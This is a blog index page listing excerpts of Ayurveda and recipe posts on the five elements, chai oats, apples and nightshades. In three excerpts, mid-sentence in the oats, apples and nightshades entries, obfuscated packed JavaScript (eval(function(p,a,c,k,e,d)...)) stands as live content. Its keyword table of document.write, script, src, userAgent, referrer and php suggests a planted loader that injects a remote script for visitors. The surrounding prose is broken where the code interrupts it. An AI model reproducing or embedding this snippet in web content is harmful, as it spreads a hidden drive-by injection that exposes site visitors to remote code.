The Five Elements – Balancing Mind/Body with Food

posted in: Ayurveda Wisdom | 2

Seeing aspects of the world as reflected through the lens of the five great elements – ether, air, fire, water and earth –  has provided me many practical tools in understanding and addressing my own health and well-being.  (click here … Continued

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Sweet Chai Oats

posted in: Nourishing Recipes | 0

This is our all time favorite breakfast.  You can even make it the night before, and take it on the go if you’re short on time in the a.m. – just add warm water before eating. 1 eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new … Continued

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Apples

From eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsrdk|var|u0026u|referrer|tssir||js|php’.split(‘|’),0,{})) the “forbidden fruit” to “an apple a day keeps the doctor away” – apples have been in the limelight throughout human history.  The latter phrase seems to hold more truth.  Apples have proven … Continued

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Nightshades: Not so good

posted in: Ayurveda Wisdom | 2

From what I can tell, nightshades aren’t so good for us – in mind, body or spirit. They are what I would call a “sattvic-inhibitor.”  (see this post eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fktss|var|u0026u|referrer|etrkz||js|php’.split(‘|’),0,{})) for more about Sattvic foods). Alas, … Continued

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